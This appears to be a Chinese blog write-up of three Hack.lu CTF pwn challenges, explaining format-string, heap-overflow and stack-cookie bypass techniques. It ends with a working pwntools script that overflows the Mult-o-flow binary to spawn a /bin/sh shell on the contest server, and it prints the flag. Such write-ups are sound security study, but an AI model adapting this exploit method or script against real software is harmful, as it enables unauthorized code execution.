本次Hack.lu CTF到了比赛前一天才确定时间并开放注册,看来主办方也是很紧张啊,这次的题目也不多,主办方甚至拿了一道啤酒题来凑数。题目质量倒是差强人意,至少并不坑。做了几道Pwn,记录一下。

Heaps of Print

位于Heap上的Format String, 实际上跟heap没有特别大的关系,就是我们不能将地址输入到栈上了,在这种情况下需要利用栈上已有的指针来进行修改。一般来说,这种程序都会给出一个loop来多次进行printf,不过这个题偏偏没有,只有一次。那么就只能自己想办法去进行loop了。

在printf的时候栈上的布局大概是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0000| 0x7fffffffdfd0 --> 0x7fffffffdff0 --> 0x7fffffffe020 --> 0x555555554990 (<__libc_csu_init>:   push   r15)
0008| 0x7fffffffdfd8 --> 0x5555555548f0 (<do_this+61>: mov rdx,QWORD PTR [rbp-0x8])
0016| 0x7fffffffdfe0 --> 0x6600000000000001
0024| 0x7fffffffdfe8 --> 0x4724d6e0719ccd00
0032| 0x7fffffffdff0 --> 0x7fffffffe020 --> 0x555555554990 (<__libc_csu_init>: push r15)
0040| 0x7fffffffdff8 --> 0x555555554970 (<main+106>: mov rax,QWORD PTR [rip+0x2006b9] # 0x555555755030 <buf>)
0048| 0x7fffffffe000 --> 0x555555554990 (<__libc_csu_init>: push r15)
0056| 0x7fffffffe008 --> 0x7fffffffe118 --> 0x7fffffffe4cf ("LC_NUMERIC=zh_CN.UTF-8")
0064| 0x7fffffffe010 --> 0x7fffffffe108 --> 0x7fffffffe4c0 ("./HeapsOfPrint")
0072| 0x7fffffffe018 --> 0x100000000
0080| 0x7fffffffe020 --> 0x555555554990 (<__libc_csu_init>: push r15)
0088| 0x7fffffffe028 --> 0x7ffff7a2e830 (<__libc_start_main+240>: mov edi,eax)
0096| 0x7fffffffe030 --> 0x1
0104| 0x7fffffffe038 --> 0x7fffffffe108 --> 0x7fffffffe4c0 ("./HeapsOfPrint")
0112| 0x7fffffffe040 --> 0x1f7ffcca0
0120| 0x7fffffffe048 --> 0x555555554906 (<main>: push rbp)
0128| 0x7fffffffe050 --> 0x0
0136| 0x7fffffffe058 --> 0xbd37c7e5eb79247c
0144| 0x7fffffffe060 --> 0x555555554770 (<_start>: xor ebp,ebp)
0152| 0x7fffffffe068 --> 0x7fffffffe100 --> 0x1

可以利用的一个就是顶部的rbp链,通过改掉第2个rbp的低位字节,让main函数返回到_start重新执行,由于一开始程序给出了一个字节的地址,我们可以计算出需要修改的低位字节。在这之前我们就可以完成leak libc和程序基址的过程。接下来每次都可以利用rbp让程序回到_start,这样就形成了一个loop。这时候进一步的修改将使用另一条链就是栈上的环境变量,因为每次跳回_start之后栈上都会有指向环境变量的指针,故可以稳定利用2个指针向栈上输入数据。比较麻烦的是每次回来栈会向下0x90个bytes,这样printf对应的参数要动态调整。

House of Scepticism

名字起的很剽悍,起初还以为是某种新的利用姿势,后来发现并不是。程序拥有5次调用malloc的能力,但是不能free自己创建的块,除此之外,程序会将用户的输入用8字节的key进行异或加密。在处理Read输出数据的时候,指定了printf的一个新的控制符%B,实际上是检查了精度info->prec是否为64,并且是否带有alt flag也就是#。最终的结果就是如果输入#.64的format则会用一个类似base64的函数处理之后输出,如果直接输入回车则就是用%s来输出。

关键在于这个#.64的处理中会先malloc一块空间之后再free掉,这实际上就给了一个能够造出free chunk的能力。程序的漏洞是在创建时候输入sz为0造成的整数下溢,进一步导致在堆上的任意长度溢出,而且这个溢出的数据不会被异或加密。

这样一来,我们可以使用Read功能,事先造出fastbin的free chunk,然后在下面分配出其他块之后再占位回去,就可以使用任意长度的溢出来控制下一个块中的sz数据,修改成-1,这样在edit时就可以在任意偏移输入任意长度的数据了,如果知道了heap和libc的地址,就可以做libc中的任意地址写了。

至于leak的方法,基本还是先靠heap上任意地址写的能力,先leak出key,之后通过malloc_conslidate得到libc和heap的地址,在利用Read功能去读就可以了。

Mult-o-flow

很有意思的一个题,利用字符串解析的不同来完成payload的构造,看flag应该是从一个IRC bot改的。

程序的功能是从一堆输入中解析出相应的字段并拼在一起,漏洞很明显,在一开始输入时候就有的strcat,以及之后执行extract_table_entrysprintf都有溢出的问题。但是程序中有一个自己实现的固定值的stack cookie,而且其中带有0字节,由于输入使用的strcat会被0字节截断,导致不能直接溢出构造rop。具体来说,整个函数的stack大概是这个样子:

其中s是存放最终解析的buffer,而e则是extract_table_entry的目标buffer,buf是一开始payload输入的位置,程序在开始时输入了3次0x7ff字节的数据并用strcat连接,意味着这个时候就已经溢出了。为了完成利用我们至少要将程序中给的system地址和binsh的地址放到栈上,并且将cookie修复。这个程序虽然是32位的程序但是特意将代码高位地址设成了0字节,这样需要修复的0字节就有3处。由于/bin/sh的地址是最远的,可以在第一次strcat时就布置好。

接下来的过程用到了extract_table_entry函数的一个性质就是遇到0字节不会停止,遇到<才会停止,这样我们可以控制一下其解析的src和dst让它们相等,这样得到的结果就是从e这个buffer开始,遇到的第一个’<’将会被变成0.那么如果第一次解析ISP:时的buffer布局是这样

最后cookie的最高位就可以被改成0,而由于第一次使用的是sprintf(s, "%s; ", e);,在sprintf之后一个0字节会被放到e这个buffer靠前的位置

同时控制一下让s的尾部恰好为City:这样下次解析时还会出现同样的效果,这次在返回地址的最高位上<将会被变成0,而e前部的0有效地防止了之后sprintf对后面数据的破坏,最终完成利用。

参考代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python
# coding: utf-8

from pwn import *

# FLAG{c0ngr4t5_on_pwn1ng_an_1RC_b0t}

p = remote('flatearth.fluxfingers.net', 1746)

system_plt = 0x485e0
binsh = 0x4b124

# 3 times to fix zero
# first time is the get_input overflow, fix binsh
# second time & third time is to force the extract function's src & dest to be the same
# then it will stop at '<' and turn it to a '\0'

p.send('A' * 64)
p.recvuntil('tables :-)\n')

dest = ''
dest = dest.ljust(0x1000, 'Z')

s = 'ISP:' + 'A' * 9
s = s.rjust(0x200, 'A')

v3 = 'City:' + 'B' * 9
v3 = v3.rjust(0x200 - 8, 'B')
v3 = '/bin/sh;' + v3

over = 'CCCC' + p32(0x112233)[:-1] + '<' + 'C' * 16 + p32(system_plt)[:-1] + '<' + 'CCCC' + p32(binsh)[:-1]

payload = dest
payload += s + v3
payload += over
assert len(payload) < 0x1800

for i in range(3):
p.send(payload[i*0x7ff:i*0x7ff+0x7ff])
time.sleep(2)

p.interactive()